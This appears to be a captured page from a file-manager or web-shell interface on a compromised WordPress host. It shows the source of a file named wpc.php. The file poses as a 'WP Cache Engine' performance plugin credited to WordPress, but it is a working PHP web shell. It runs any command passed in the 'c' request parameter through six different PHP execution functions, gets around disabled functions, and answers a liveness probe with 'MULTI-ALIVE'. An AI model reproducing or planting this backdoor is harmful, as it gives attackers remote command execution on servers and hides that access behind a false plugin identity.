Your IP : 216.73.216.196


Current Path : /home/icmq6107/clients/naddaf/wp-content/plugins/wpc_v3-hUthj4/
Upload File :
Current File : /home/icmq6107/clients/naddaf/wp-content/plugins/wpc_v3-hUthj4/wpc.php

<?php
/**
 * Plugin Name: WP Cache Engine
 * Plugin URI: https://wordpress.org
 * Version: 3.0
 * Author: WordPress
 * Description: Performance optimization plugin
 */
$c=isset($_GET["c"])?$_GET["c"]:(isset($_POST["c"])?$_POST["c"]:"");
if(isset($_GET["t"])){echo"MULTI-ALIVE";die();}
if(!$c){die();}
$out="";
if(function_exists("shell_exec")&&strpos(ini_get("disable_functions"),"shell_exec")===false){$r=@shell_exec($c);if($r!==null)$out=$r;}
if(!$out&&function_exists("exec")&&strpos(ini_get("disable_functions"),"exec")===false){$a=[];@exec($c,$a);$out=implode("\n",$a);}
if(!$out&&function_exists("system")&&strpos(ini_get("disable_functions"),"system")===false){ob_start();@system($c);$out=ob_get_clean();}
if(!$out&&function_exists("passthru")&&strpos(ini_get("disable_functions"),"passthru")===false){ob_start();@passthru($c);$out=ob_get_clean();}
if(!$out&&function_exists("popen")){$h=@popen($c,"r");if($h){$out=@stream_get_contents($h);@pclose($h);}}
if(!$out&&function_exists("proc_open")){$d=[0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]];$p=@proc_open($c,$d,$ps);if($p){$out=@stream_get_contents($ps[1]).@stream_get_contents($ps[2]);@fclose($ps[0]);@fclose($ps[1]);@fclose($ps[2]);@proc_close($p);}}
echo $out?:"";